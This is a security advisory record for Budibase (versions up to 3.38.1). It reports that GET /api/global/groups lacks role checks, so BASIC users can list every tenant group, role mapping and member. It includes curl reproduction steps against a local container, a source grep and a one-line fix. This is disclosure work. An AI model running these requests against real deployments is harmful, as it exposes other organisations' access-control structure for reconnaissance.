{"id":"GHSA-4qcj-m5wp-jmf4","title":" Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings","summary":" Budibase: Missing RBAC on GET /api/global/groups allows BASIC users to enumerate all tenant groups and role mappings","severity":"medium","cvss":4.3,"cwe":["CWE-862"],"vendor":"budibase","product":"@budibase/server","ecosystem":"npm","affected":["@budibase/server <= 3.38.1"],"published":"2026-07-24","updated":"2026-07-24","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-4qcj-m5wp-jmf4","references":[{"url":"https://github.com/Budibase/budibase/security/advisories/GHSA-4qcj-m5wp-jmf4"},{"url":"https://github.com/Budibase/budibase/pull/19109"},{"url":"https://github.com/Budibase/budibase/commit/93db77846e68231ba655f180581c94503985421a"},{"url":"https://github.com/Budibase/budibase/releases/tag/3.39.25"},{"url":"https://github.com/advisories/GHSA-4qcj-m5wp-jmf4"}],"tags":["ghsa","npm"],"ingestedAt":"2026-07-24T21:39:14.443Z","slug":"GHSA-4qcj-m5wp-jmf4","body":"## Overview\n\n## Summary\n\nThe `GET /api/global/groups` endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.\n\n## Steps to Reproduce\n\n### 1. Start Budibase\n\n```bash\ndocker run -d --name budibase-poc -p 10000:80 \\\n  -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \\\n  -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \\\n  -e API_ENCRYPTION_KEY=api_enc_key_test123456 \\\n  -e BB_ADMIN_USER_EMAIL=admin@test.com \\\n  -e BB_ADMIN_USER_PASSWORD=TestPassword123! \\\n  budibase/budibase:latest\n\nuntil curl -sf http://localhost:10000/health; do sleep 5; done\n```\n\n### 2. Login as admin, create a user group, create a BASIC user\n\n```bash\n# Login as admin\ncurl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"admin@test.com\",\"password\":\"TestPassword123!\"}'\n\n# Create a user group (requires license with user groups feature, or use Budibase Cloud)\n# On self-hosted without license, groups may not be available\n# If available:\ncurl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"Secret Admin Group\",\"color\":\"#ff0000\",\"icon\":\"AdminPanelSettingsIcon\",\"roles\":{\"app_abc123\":\"ADMIN\"}}'\n\n# Create a BASIC user (no builder, no admin)\ncurl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/users \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"email\":\"basic@test.com\",\"password\":\"BasicPass123!\",\"roles\":{},\"admin\":{\"global\":false},\"builder\":{\"global\":false}}'\n```\n\n### 3. Login as BASIC user and enumerate all groups (the vulnerability)\n\n```bash\n# Login as BASIC user\ncurl -s -c /tmp/bb_basic.txt -X POST http://localhost:10000/api/global/auth/default/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"basic@test.com\",\"password\":\"BasicPass123!\"}'\n\n# List ALL groups (should return 403, but returns 200 with full data)\ncurl -s -b /tmp/bb_basic.txt http://localhost:10000/api/global/groups\n```\n\n**Expected:** 403 Forbidden (consistent with `GET /api/global/groups/:id` which requires `builderOrAdmin`)\n\n**Actual:** 200 OK with full group data including role mappings, member lists, and builder flags.\n\n### Standalone verification (code review)\n\n```bash\n# In the budibase source tree:\ngrep -A2 'global/groups\"' packages/worker/src/api/routes/global/groups.ts\n```\n\nOutput shows the list endpoint has NO auth middleware:\n```\n  .get(\"/api/global/groups\",            # <-- NO auth.builderOrAdmin\n    requireFeature(Feature.USER_GROUPS),\n    controller.fetch\n```\n\nCompare with the single-group endpoint directly below:\n```\n  .get(\"/api/global/groups/:groupId\",   # <-- HAS auth.builderOrAdmin\n    auth.builderOrAdmin,\n    requireFeature(Feature.USER_GROUPS),\n    controller.getById\n```\n\n## Root Cause\n\nFile: `packages/worker/src/api/routes/global/groups.ts`, lines 40-44\n\nThe list endpoint is the ONLY group endpoint without RBAC:\n\n| Endpoint | Auth Middleware |\n|----------|---------------|\n| `POST /api/global/groups` | `auth.adminOnly` |\n| `DELETE /api/global/groups/:id/:rev` | `auth.adminOnly` |\n| `GET /api/global/groups/:id` | `auth.builderOrAdmin` |\n| `GET /api/global/groups/:id/users` | `auth.builderOrAdmin` |\n| **`GET /api/global/groups`** | **NONE** |\n\n## Impact\n\nA BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.\n\n## Suggested Fix\n\n```diff\n  router.get(\"/api/global/groups\",\n+   auth.builderOrAdmin,\n    requireFeature(Feature.USER_GROUPS),\n    controller.fetch\n  )\n```\n\n## Affected packages\n\n- `@budibase/server <= 3.38.1`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"sunlit","depthScore":24,"depthScoreParts":{"impact":23.7,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}